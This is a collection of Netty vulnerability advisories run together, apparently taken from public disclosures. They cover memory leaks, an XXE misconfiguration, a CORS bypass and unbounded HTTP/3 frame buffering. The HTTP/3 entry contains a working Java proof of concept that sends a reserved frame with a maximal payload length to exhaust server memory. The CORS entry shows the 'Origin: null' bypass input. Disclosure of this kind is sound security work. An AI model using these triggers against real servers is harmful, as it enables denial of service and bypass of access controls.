- Vulnerability type: uncontrolled resource consumption / memory leak (CWE-401), leading to denial of service. Each crafted DATA frame leaks one (typically direct/off-heap) ByteBuf. - Who is impacted: any server (or client) that enables HTTP/2 content decompression by installing DelegatingDecompressorFrameListener in its HTTP/2 pipeline. - Attacker requirements: remote, unauthenticated. The attacker only needs to send HTTP/2 DATA frames for a stream whose decompressor has been cleaned up (e.g. continue sending DATA after ENDSTREAM). No special server configuration beyond decompression being enabled. - Result: sustained triggering over a long-lived connection exhausts direct memory and crashes the JVM with OutOfMemoryError.
Any caller that can deliver bytes to a Netty channel pipeline containing XmlDecoder can send XML with a DOCTYPE declaration to a parser instantiated with no security configuration — but whether external entities are actually resolved depends on Aalto XML's async parser behavior, making this a confirmed misconfiguration with conditional exploitability.
Summary Netty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAXVALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.
Details io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame handles reserved frame types as follows:
java // Handling reserved frame types // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8 if (in.readableBytes() < payLoadLength) { return 0; }
The payLoadLength is read directly from the wire and trusted implicitly. Since payLoadLength can be up to Integer.MAXVALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.
This allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.
PoC
java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory()); try { X509Bundle cert = new CertificateBuilder() .subject("cn=localhost") .setIsCertificateAuthority(true) .buildSelfSigned();
QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem()) .applicationProtocols(Http3.supportedApplicationProtocols()) .build();
CountDownLatch serverConnectionClosed = new CountDownLatch(1);
ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder() .sslContext(serverContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .initialMaxStreamDataBidirectionalRemote(1000000) .initialMaxStreamsBidirectional(100) .tokenHandler(InsecureQuicTokenHandler.INSTANCE) .handler(new ChannelInitializer<QuicChannel>() { @Override protected void initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConnectionClosed.countDown()); ch.pipeline().addLast(new Http3ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { cause.printStackTrace(); ctx.close(); } })); } }) .build();
Channel server = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(serverCodec) .bind("127.0.0.1", 0) .sync() .channel();
QuicSslContext clientContext = QuicSslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .applicationProtocols(Http3.supportedApplicationProtocols()) .build();
ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder() .sslContext(clientContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .build();
Channel client = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(clientCodec) .bind(0) .sync() .channel();
QuicChannel quicChannel = QuicChannel.newBootstrap(client) .handler(new Http3ClientConnectionHandler()) .remoteAddress(server.localAddress()) .localAddress(client.localAddress()) .connect() .get();
QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();
ByteBuf header = Unpooled.buffer();
// Write reserved frame type (64) header.writeByte(0x40); header.writeByte(0x40);
// Write payload length (Integer.MAXVALUE) header.writeByte(0xC0); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x7F); header.writeByte(0xFF); header.writeByte(0xFF); header.writeByte(0xFF);
rawStream.write(header);
// Write the maximum allowed payload int payloadSize = 1000000; ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]); rawStream.writeAndFlush(payload).sync();
assertTrue(quicChannel.isActive());
quicChannel.closeFuture().await(5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finally { group.shutdownGracefully(); } }
Impact Denial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.
Summary Netty's CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls.
Details In io.netty.handler.codec.http.cors.CorsHandler#channelRead, the short-circuit logic relies on the configuration returned by getForOrigin(origin) to determine if an origin is authorized. If getForOrigin returns a configuration object, the short-circuit check (!(origin == null || config != null)) is bypassed, and the request proceeds to the backend.
The vulnerability is located in the getForOrigin method:
java if (corsConfig.isNullOriginAllowed() || NULLORIGIN.equals(requestOrigin)) { return corsConfig; }
If an attacker sends Origin: null, NULLORIGIN.equals(requestOrigin) evaluates to true. The method returns the configuration object regardless of whether isNullOriginAllowed() was configured by the developer. The short-circuit is bypassed.
Impact Applications relying on CorsHandler's short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer's intended access controls, allowing unauthorized requests to be processed.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, the SpdyHttpDecoder handler in Netty's SPDY-to-HTTP codec allocates a pooled ByteBuf when processing a client-initiated SYNSTREAM frame with FLAGFIN=0 and stores the partially constructed FullHttpRequest in messageMap; when the remote peer sends RSTSTREAM for that stream or the accumulated content exceeds maxContentLength, the decoder removes the entry but does not release the pooled ByteBuf, causing native memory exhaustion. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.